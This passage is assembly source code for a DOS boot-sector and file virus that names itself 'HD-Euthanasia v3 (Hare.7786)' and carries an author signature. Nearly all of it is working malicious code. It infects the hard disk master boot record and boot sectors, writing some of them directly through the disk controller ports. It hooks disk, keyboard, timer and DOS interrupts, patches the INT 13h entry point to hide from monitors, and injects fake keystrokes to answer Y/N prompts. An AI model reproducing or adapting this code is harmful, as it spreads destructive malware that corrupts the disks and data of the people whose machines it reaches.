Get_Random_Poly NOT AX ADD AL,AH CMP AL, 85 JB LOC_206 ADD SI, 02h ADD CL, 01h MOV BL, DATA_95 CMP AL, 0AAh JB LOC_205 MOV AL, 80h MOV AH, DATA_115[BX] STOSW MOV AL, 01h STOSB RETN LOC_205: MOV AL, 80h MOV AH, DATA_116[BX] STOSW MOV AL, 0FFh STOSB RETN LOC_206: MOVSW ; Mov [si] to es:[di] RETN Encrypt_Boot: PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI CLD MOV DX, BX MOV DI, DX MOV AX, 'ef' MOV BX, 7463h MOV CX, 200h ; 1024 bytes. LOCLOOP_207: SCASW ; Scan es:[di] for ax JNZ LOC_208 XCHG BX, AX SCASW ; Scan es:[di] for ax JZ LOC_209 XCHG BX, AX SUB DI, 02h LOC_208: DEC DI LOOP LOCLOOP_207 JMP LOC_215 LOC_209: MOV AX, 4Eh LOC_210: MOV CX, 200h MOV DI, DX MOV SI, 0Ch LOCLOOP_211: SCASW ; Scan es:[di] for ax JNZ LOC_212 ADD ES:[DI-2], SI LOC_212: DEC DI LOOP LOCLOOP_211 DEC AX DEC AX CMP AX, 4Ch JE LOC_210 MOV DI, DX MOV CX, 1C0h MOV AX, 280h LOCLOOP_213: SCASW ; Scan es:[di] for ax JC LOC_214 DEC DI DEC DI PUSH AX DEC AX DEC AX SCASW ; Scan es:[di] for ax POP AX JA LOC_214 SUB ES:[DI-2],SI LOC_214: DEC DI LOOP LOCLOOP_213 LOC_215: POP SI POP DI POP DX POP CX POP BX POP AX POPF RETN SUB_54: MOV AX, 0201h ; Read MBR of 1st harddisk. MOV BX, OFFSET Buffer XOR CX, CX MOV DS, CX PUSH CS POP ES INC CX ; MBR. MOV DX, 80h INT 13h MOV DI, OFFSET Drew3 MOV SI, DATA_25E MOV CL, 40h REP MOVSB INC CX PUSH CS POP DS MOV AX, 0301h MOV DATA_138, CH CALL Infect_Exec3 RETN DATA_138 DB 0 SUB_55: PUSH AX PUSH BX PUSH DX MOV AX, 0201h ; Read MBR of 1st harddisk. MOV BX, OFFSET Buffer PUSH CS POP ES MOV CX, 01h MOV DX, 80h CALL Traced_i13h MOV DI, OFFSET Drew3 MOV CL, 40h REP STOSB INC CX MOV AX, 0301h CALL Infect_Exec3 POP DX POP BX POP AX RETN Botty: CALL SUB_54 CALL SUB_4 XOR AX, AX MOV DS, AX MOV SI, 1Ch * 4 MOV DI, OFFSET Int1Ch MOVSW MOVSW MOV SI, 21h * 4 MOV DI, OFFSET Int13h MOVSW MOVSW INT 12h ; Save total DOS-memory. MOV CS:Dos_Mem, AX ; Save it. SUB WORD PTR DS:[413h], 9 ; Subtract our needs. NOP MOV BYTE PTR CS:DATA_77, 02h CLI ; Hook INT 1Ch (timer). MOV DS:[1Ch * 4 + 2], CS MOV DS:[1Ch * 4], OFFSET NewInt1Ch STI CALL Check_Poly_Sector RETN NewInt1Ch: PUSH AX PUSH DS PUSH ES PUSH SI PUSH DI XOR AX, AX MOV DS, AX MOV SI, 21h * 4 PUSH CS POP ES MOV DI, OFFSET Int13h CLD CMPSW ; Cmp [si] to es:[di] JZ LOC_216 MOV AL, 01h LOC_216: CMPSW ; Cmp [si] to es:[di] JZ LOC_217 MOV AH, 01h LOC_217: OR AX, AX JZ LOC_218 SUB SI,4 SUB DI,4 MOVSW MOVSW DEC BYTE PTR ES:DATA_77 JNZ LOC_218 MOV DI, OFFSET Traced_Int13h MOV SI, 13h * 4 MOVSW MOVSW MOV DI, OFFSET Int13h MOV SI, 13h * 4 MOVSW MOVSW MOV DI, OFFSET Traced_Int21h MOV SI, 21h * 4 MOVSW MOVSW MOV DS:[1Ch * 4], OFFSET Int1Ch_Di LOC_218: POP DI POP SI POP ES POP DS POP AX Exit_Int1Ch: JMP DWORD PTR CS:Int1Ch Int1Ch_Di: PUSH AX PUSH DS PUSH DI XOR AX, AX MOV DS, AX MOV DS, DS:[22h * 4 + 2] ; Get 1st instruction of MOV AX, DS:[0] ; INT 22h(terminate address). CMP AX, 20CDh ; INT 20h? JNE LOC_220 XOR AX, AX MOV DS, AX MOV AX, CS:Dos_Mem ; Put back old value. MOV DS:[413h], AX MOV AX, CS:Int1Ch ; Restore original INT 1Ch. MOV DS:[1Ch * 4], AX MOV AX, CS:Int1Ch+2 MOV DS:[1Ch * 4 + 2], AX MOV AX, DS:[21h * 4] ; Save INT 21h. MOV CS:Int21h,AX MOV AX, DS:[21h * 4 + 2] MOV CS:Int21h+2,AX MOV AX, DS:[28h * 4] ; Save INT 28h. MOV CS:Int28h, AX MOV AX, DS:[28h * 4 + 2] MOV CS:Int28h+2, AX MOV DS:[28h * 4], OFFSET NewInt28h ; Hook INT 28h. MOV DS:[28h * 4 + 2], CS MOV DS:[21h * 4], OFFSET NewInt21h ; Hook INT 21h. MOV DS:[21h * 4 + 2], CS PUSH SI PUSH ES CALL Slice_Int13h CALL Insert_Slice POP ES POP SI LOC_220: POP DI POP DS POP AX JMP Exit_Int1Ch NewInt28h: PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH DI PUSH SI TEST CS:DATA_138, 10000000b JNZ LOC_221 OR CS:DATA_138, 10000000b CLD PUSH CS POP DS CALL Unslice_Int13h CALL Infect_Harddisk CALL SUB_55 CALL Insert_Slice LOC_221: CALL SUB_56 CALL SUB_57 POP SI POP DI POP DS POP ES POP DX POP CX POP BX POP AX DB 0EAh ; JMP FAR opcode. Int28h DW 0, 0 SUB_56: MOV AX,160Ah ; Identify Windows version INT 2Fh ; and type. OR AX, AX ; Valid function? JNZ LOC_223 CMP BH, 04h ; Windows 95/NT ? JB LOC_223 ; Else abort function. OR CS:Flags, 00000100b MOV AX, 5445h ; INT 13h residency-check. INT 13h CMP AX, 4554h ; Have we hooked INT 13h? JE LOC_RET_222 OR CS:DATA_138, 00000010b MOV AX, 3513h ; Get address INT 13h. INT 21h MOV CS:Traced_Int13h, BX ; Save address INT 13h. MOV CS:Traced_Int13h+2, ES XOR AX, AX MOV DS, AX MOV DS:[13h * 4], OFFSET NewInt13h MOV DS:[13h * 4 + 2], CS LOC_RET_222: RETN LOC_223: AND CS:Flags, 11111011b AND CS:DATA_138, 11111100b RETN SUB_57: TEST CS:Flags, 00000100b JNZ LOC_RET_224 MOV AX, 5445h ; INT 13h hooked already? INT 13h CMP AX, 4554H JE LOC_RET_224 MOV AX, CS:Int13h MOV CS:Traced_Int13h, AX MOV AX, CS:Int13h+2 MOV CS:Traced_Int13h+2, AX AND CS:DATA_138, 0FCh CALL Slice_Int13h CALL Insert_Slice LOC_RET_224: RETN Traced_i13h: PUSHF CALL DWORD PTR CS:Traced_Int13h RETN NewInt16h: CMP AH, 01h ; Read keyboard-status? JA JMP_Int16h CMP AH, 01h ; Read keyboard-status? JE LOC_225 CALL Infect_Exec1 CALL OldInt16h ; Execute function. CALL Get_Proceed_Char MOV BYTE PTR CS:Dum2, 02h RETF 2 ; Return to caller. LOC_225: DEC BYTE PTR CS:[18EDH] JNZ JMP_Int16h MOV BYTE PTR CS:[18EDH], 5 PUSH AX PUSH CX CALL Get_Proceed_Char MOV CX, AX MOV AH, 05h INT 16h ; Keyboard i/o ah=function 05h ; stuff key cx into keybd buffr POP CX POP AX CALL OldInt16h RETF 2 ; Return far JMP_Int16h: DB 0EAh ; JMP to original handler. Int16h DW 0, 0 Dum3 DB 04h Dum1 DW 0 Dum2 DB 02h OldInt16h: PUSHF CALL DWORD PTR CS:Int16h RETN ;fuck Proceed_Key DW 1559h ; Y DW 314Eh ; N DW 314Eh ; N DW 314Eh ; N DW 1559h ; Y DW 1559h ; Y DW 314Eh ; N DW 1559h ; Y Get_Proceed_Char: PUSH DI MOV DI, CS:Dum1 MOV AL, CS:Dum2 CBW ADD DI, AX MOV AX, CS:Proceed_Key[DI] POP DI RETN Infect_Exec1: PUSH AX PUSH CX MOV AH, 01h ; Read keyboard-status. CALL OldInt16h JZ LOC_227 XCHG CX, AX CALL Get_Proceed_Char CMP AX, CX JE LOC_228 PUSH DS XOR AX, AX MOV DS, AX MOV AX, DS:[41Ah] ; Address BASIC errorhandler. MOV DS:[41Ch], AX ; Mink (?). POP DS LOC_227: CALL Get_Proceed_Char MOV CX, AX ; Write to keyboard-buffer. MOV AH, 05h INT 16h LOC_228: POP CX POP AX RETN Infect_Exec2: PARAMETER_1 = 4 ; BP+4 PARAMETER_2 = 6 ; BP+6 PARAMETER_3 = 8 ; BP+8 PARAMETER_4 = 0AH ; BP+0AH PUSH BP MOV BP, SP MOV Trace_Function, 0 ; Function: Reset disk. MOV First_MCB, 71h MOV Fake_PUSHF, 00h MOV Trace_Done, 01h MOV AX, 3513h ; Get INT 13h. INT 21h MOV Trace_Int, BX MOV Trace_Int+2, ES CALL Tracer CLD ; Replace INT 13h address MOV SI, OFFSET Trace_Int ; with traced address. MOV DI, OFFSET Traced_Int13h MOVSW MOVSW MOV AX, 440Dh MOV BX, 180h MOV CX, 84Bh INT 21h ; DOS Services ah=function 44h ; IOctl-D block device control ; bl=drive, cx=category/type ; ds:dx ptr to parameter block MOV AX, 3516h ; Get INT 16h. INT 21h MOV Int16h, BX ; Save address INT 16h. MOV Int16h+2, ES MOV Dum3, 05h MOV Dum1, 0 MOV DX, OFFSET NewInt16h MOV AX, 2516h ; Hook INT 16h (keyboard). INT 21h PUSH CS POP ES MOV BX, [BP+PARAMETER_3] MOV CX, [BP+PARAMETER_2] MOV DX, [BP+PARAMETER_1] LOC_229: MOV AX, [BP+PARAMETER_4] CALL Traced_i13h JNC LOC_230 MOV AX, Dum1 ADD AL, 04h MOV Dum1, AX MOV Dum2, 00h CMP AL, 0Ch JBE LOC_229 STC LOC_230: PUSHF PUSH DS LDS DX, DWORD PTR Int16h MOV AX, 2516h ; Restore original INT 16h. INT 21h POP DS POPF POP BP RETN 8 Infect_Exec3: CALL Infect_Exec6 JC LOC_232 JMP LOC_233 LOC_231: POP ES POP DX POP CX POP BX POP AX LOC_232: CALL Traced_i13h JMP LOC_RET_236 LOC_233: PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES MOV DI, 04h LOC_234: MOV SI, BX DEC DI JZ LOC_231 MOV AH, 00h ; Reset 1st harddisk. MOV DL, 80h INT 13h XOR AX, AX MOV ES, AX MOV ES:48Eh, AL CLD MOV DX, 3F6h MOV AL, 04h OUT DX, AL ; Reset controller. JMP $+2 ; Delay for I/O. JMP $+2 MOV AL, 0 OUT DX, AL ; al = 0, hdsk0 register CALL Wait_Ready MOV DX, 1F2h ; Sector count. MOV AL, 01h ; 1 sector. OUT DX, AL JMP $+2 JMP $+2 INC DX MOV AL, 01h ; Sector: MBR. OUT DX, AL JMP $+2 JMP $+2 INC DX MOV AL, 0 OUT DX, AL ; Cylinder lo. JMP $+2 JMP $+2 INC DX MOV AL, 0 OUT DX, AL ; Cylinder hi. JMP $+2 JMP $+2 INC DX MOV AL, 10100000b OUT DX, AL ; 1st harddisk, head zero. JMP $+2 ; Delay for I/O. JMP $+2 INC DX MOV AL, 31h OUT DX, AL ; Write sectors without retry. CALL Wait_Servicing MOV CX, 256 MOV DX, 1F0h ; Data-register. DB 0F3h, 6Fh ; REP OUTSW, (286+). LOC_235: MOV AL, ES:48Eh OR AL, AL JZ LOC_235 CALL Wait_Ready TEST AL, 00100001b ; Write fault? JNZ LOC_234 POP ES POP DX POP CX POP BX POP AX LOC_RET_236: RETN Wait_Ready: MOV DX, 1F7h Not_Ready: IN AL, DX ; Get status-register. TEST AL, 10000000b ; Controller executing JNZ Not_Ready ; command? RETN Wait_Servicing: CALL Wait_Ready TEST AL, 00001000b ; Disk buffer requires JZ Wait_Servicing ; servicing? RETN ; Sets CF Infect_Exec6: PUSH AX PUSH BX MOV AX, SP PUSH SP POP BX STC PUSHF CMP AX, BX JNE LOC_239 MOV AL, 12h CALL Infect_Exec7 POPF CLC PUSHF AND AH, 11110000b CMP AH, 00010000b JA LOC_239 POPF STC PUSHF LOC_239: POPF POP BX POP AX RETN Infect_Exec7: PUSH BX MOV BL, AL OR AL, 80h CLI OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI ; AL = 92h, hard disk type. JMP $+2 ; Delay for I/O. JMP $+2 IN AL, 71h ; Port 71H, CMOS data. MOV AH, AL XOR AL, AL JMP $+2 JMP $+2 OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI ; AL = 0, seconds register STI MOV AL, BL POP BX RETN Entry_Bytes DB 5 DUP(0) ; Original first 5 bytes of INT 13h ; entrypoint which are overwritten ; with a JMP FAR to our handler. ; ; Copies the first five bytes of INT 13h to a temp variable. ; Slice_Int13h: PUSH CS POP ES MOV DI, OFFSET Entry_Bytes LDS SI, DWORD PTR ES:Traced_Int13h CLD MOVSW MOVSW MOVSB RETN ; ; Overwrites the entrypoint of INT 13h with a JMP FAR to our INT 13h handler. ; ; Insert_Slice: PUSH DS PUSH SI PUSH AX PUSHF TEST CS:DATA_138, 00000010b ; Init INT 13h ? JNZ LOC_240 LDS SI, DWORD PTR CS:Traced_Int13h ; Overwrite with JMP FAR [viruscode]. MOV BYTE PTR [SI], 0EAh MOV WORD PTR [SI+1], OFFSET NewInt13h MOV WORD PTR [SI+3], CS LOC_240: POPF POP AX POP SI POP DS RETN Unslice_Int13h: PUSHF PUSH CX PUSH DI PUSH SI PUSH DS PUSH ES PUSH CS POP DS TEST DATA_138, 00000010b ; INT 13h hooked already? JNZ LOC_241 CLI MOV SI, OFFSET Entry_Bytes LES DI, DWORD PTR Traced_Int13h CLD ; Copy MOV CX, 5 REP MOVSB LOC_241: STI POP ES POP DS POP SI POP DI POP CX POPF RETN Int13h DW 0, 0 DATA_150 DW 0BDBFh Dos_Mem DW 0 DATA_152 DB 0 Function_i13h DB 0 DATA_154 DB 0 DB 0 Exec_Int13h: POPF MOV CS:Function_i13h, AH ; Save function #. CALL Traced_i13h PUSHF OR AH, AH JZ LOC_243 JMP LOC_255 LOC_243: MOV CS:Function_i13h,0 POPF CALL Insert_Slice RETF 2 NewInt13h: PUSHF CMP AX, 5445h ; Residency-check? JNE Check_Next_2 MOV AX, 4554h ; Our sign. POPF RETF 2 ; Return to caller. Check_Next_2: CALL Unslice_Int13h CMP DX, 80h ; Head zero of 1st harddisk? JNE LOC_245 CMP CX, 01h ; MBR? JNE LOC_245 CMP AH, 03h ; Doing a write? JA LOC_245 CMP AH, 02h ; Doing a read? JB LOC_245 POPF JMP LOC_249 NOP LOC_245: CMP DL, 80h JNB LOC_247 CMP AH, 16h JNE LOC_246 JMP Exec_Int13h LOC_246: CMP AH, 05h JAE LOC_247 CMP AH, 01h JBE LOC_247 JMP LOC_255 LOC_247: CMP DL, 80h JNE LOC_248 CMP CS:DATA_150, CX JNE LOC_248 AND CH, 02h LOC_248: POPF CALL Traced_i13h CALL Insert_Slice RETF 2 LOC_249: PUSH BX PUSH CX PUSH DX PUSH ES CMP AH, 02h JE LOC_250 JMP LOC_251 LOC_250: CALL Traced_i13h ; Execute function. PUSHF PUSH AX PUSH BX MOV AH, 08h ; Get disk drive parameters. MOV DL, 80h CALL Traced_i13h INC CH DEC DH MOV DL, 80h MOV AX, 0201h ; Read stored bootsector (?) POP BX CALL Traced_i13h POP AX POPF JMP LOC_253 LOC_251: PUSH DS PUSH DI PUSH SI PUSH AX DEC AL PUSH ES PUSH BX JZ LOC_252 ADD BX, 200h INC CL CALL Traced_i13h DEC CL LOC_252: MOV AH, 08h MOV DL, 80h CALL Traced_i13h POP BX POP ES INC CH DEC DH MOV DL, 80h MOV AX, 0301h CALL Encrypt_Boot CALL Traced_i13h MOV BX,AX POP AX MOV AL,BL POP SI POP DI POP DS LOC_253: POP ES POP DX POP CX POP BX CALL Insert_Slice RETF 2 LOC_254: JMP LOC_260 LOC_255: PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH SI PUSH DI XOR AX, AX MOV DS, AX XOR CH, CH MOV CL, DL INC AL SHL AL, CL CMP CS:Function_i13h, 00h JNE LOC_256 TEST AL, byte ptr Gaby1 JNZ LOC_254 LOC_256: PUSH CS POP DS PUSH DS POP ES MOV CL, 4 ; Multiplied by 16. SHL AL, CL MOV DATA_152, AL MOV SI,3 LOC_257: XOR AX, AX ; Reset disk. CALL Traced_i13h MOV AX, 0201h ; Read bootsector MOV CX, 01h MOV DH, CH MOV BX, OFFSET Buffer CALL Traced_i13h JNC LOC_258 DEC SI JZ LOC_254 JMP LOC_257 LOC_258: MOV AX, Drew2 SUB AX, Drew1 CMP AX, 0CCFFh JE LOC_254 CALL SUB_71 CALL SUB_72 JNC LOC_259 MOV AX, 0401h ; Verify bootsector/MBR. XOR CX, CX INC CX MOV DH, CH CALL Traced_i13h JMP LOC_260 LOC_259: XOR BX, BX MOV CL, 01h MOV AX, 0310h CALL Traced_i13h JC LOC_260 MOV BX, OFFSET Buffer MOV CL, 11h MOV AX, 0301h CALL Traced_i13h JC LOC_260 MOV BL, 02h PUSH DX CALL SUB_49 POP DX MOV CX, 01h XOR DH, DH MOV BX, OFFSET Buffer MOV BYTE PTR DS:[Buffer], 0EBh ; JMP viruscode in MBR. MOV BYTE PTR DS:[Buffer+1], 3Ch MOV AX, 0301h CALL Traced_i13h LOC_260: POP DI POP SI POP DS POP ES POP DX POP CX POP BX POP AX CMP CS:Function_i13h, 0 JE LOC_261 JMP LOC_243 LOC_261: CMP DH, 00h JNE LOC_262 CMP CX, 01h JNE LOC_262 TEST CS:Flags, 00000100b JNZ LOC_262 CMP AH, 02h JE LOC_263 CMP AH, 03h JE LOC_265 LOC_262: JMP LOC_248 LOC_263: POPF CALL Traced_i13h PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES JC LOC_264 MOV AX, ES:[BX+102h] ; Subtract 1st word from word. SUB AX, ES:[BX+100h] CMP AX, 0CCFFh ; Infected bootsector? JNE LOC_264 MOV CH, 51h ; Cylinder 81. MOV CL, 11h ; Sector 17. MOV DH, 01h ; 1st head. MOV AX, 0201h ; Read sector CALL Traced_i13h LOC_264: POP ES POP DX POP CX POP BX POP AX CALL Insert_Slice POPF RETF 2 LOC_265: PUSH AX PUSH BX PUSH ES PUSH CS POP ES MOV AX, 0201h MOV BX, OFFSET Buffer CALL Traced_i13h POP ES POP BX POP AX PUSH AX DEC AL JZ LOC_266 ADD BX, 200h INC CL CALL Traced_i13h SUB BX, 200h DEC CL LOC_266: PUSH DI PUSH SI PUSH DS PUSH ES PUSH BX MOV AX, ES:[DI+102h] ; Subtract word from word. SUB AX, ES:[DI+100h] CMP AX, 0CCFFh ; Infected signature? JNE LOC_267 MOV CH, 51h MOV CL, 11h MOV DH, 01h MOV AX, 0301h CALL Traced_i13h PUSH ES POP DS PUSH CS POP ES MOV SI, BX ADD SI, 03h MOV DI, 1E6Ch+1 MOV CX, 59 REP MOVSB MOV BX, OFFSET Buffer LOC_267: MOV DH, 00h MOV CX, 01h MOV AX, 0301h CALL Traced_i13h MOV CS:DATA_154,AH POP BX POP ES POP DS POP SI POP DI POP AX MOV AH, CS:DATA_154 CALL Insert_Slice POPF RETF 2 SUB_71: MOV AL, DS:1E7Eh+1 CMP AL,0FDH JE LOC_268 MOV CH, 51h JMP LOC_RET_269 LOC_268: MOV CH,29h LOC_RET_269: RETN SUB_72: MOV DH, CH MOV DATA_154, DL XOR AX, AX MOV ES, AX LES DI, DWORD PTR ES:[1Eh * 4] MOV AX, ES:[DI+3] PUSH AX MOV BYTE PTR ES:[DI+3], 02h MOV BYTE PTR ES:[DI+4], 11h PUSH CS POP ES MOV DI, OFFSET Drew4 CLD MOV CX, 11h MOV DL, 01h LOCLOOP_270: MOV AH, 01h MOV AL, DH STOSW MOV AL, DL MOV AH, 02h STOSW INC DL LOOP LOCLOOP_270 MOV AX, 50FH MOV CH, DH MOV CL, 1 MOV DH, 1 MOV DL, DATA_154 MOV BX, 206AH CALL Traced_i13h PUSHF MOV BYTE PTR Verify_Sectors+2, CH XOR AX, AX MOV ES, AX LES DI, ES:[1Eh * 4] POPF POP AX MOV ES:[DI+3],AX PUSH CS POP ES RETN LOC_271: MOV BX, 0B50h MOV ES, BX XOR BX, BX MOV AX, 1E0Eh PUSH ES PUSH AX Verify_Sectors: MOV CX, 5101h MOV AX, 0411h MOV DX, 0100h INT 13h ; Disk dl=drive a ah=func 04h ; verify sectors with mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head MOV AX, 0211h ; Read virusbody from disk. INT 13h JC LOC_271 RETF STI XOR AX, AX MOV ES, AX PUSH CS POP DS CLD MOV DI, 7C00h MOV SI, 2000h MOV CX, 512 PUSH ES PUSH DI REP MOVSB MOV Flags, AL ; Clear flags. CALL Check_Poly_Sector CALL Infect_Harddisk RETF Message DB '"HDEuthanasia-v3" by Demon Emperor:' DB ' Hare Krsna, hare, hare...' ; (I sure hope 4U that ya never see this message during boot-up!). Virus_End: Buffer: Marker DW 0 File_Mod512 DW 0 Byte_Pages DW 0 DW 0 Header_Size DW 0 DW 0 DW 0 Init_SS DW 0 Init_SP DW 0 DW 0 Init_IP DW 0 Init_CS DW 0 Reloc_Offs DW 0 DW 0 Undoc DW 0 Ruck DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 Drew1 DW 0 Drew2 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 Drew3 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 Drew4 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 Poly_Sector DW 0 Carrier: PUSH CS POP DS MOV AH, 09h ; Display warning-message. MOV DX, OFFSET Warning INT 21h MOV AX, 4C00h ; Exit to DOS. INT 21h Warning DB 'WARNING: This program is infected with the ' DB 'HD-Euthanasia v3 (Hare.7786) virus!', 0Ah, 0Dh, '$' END START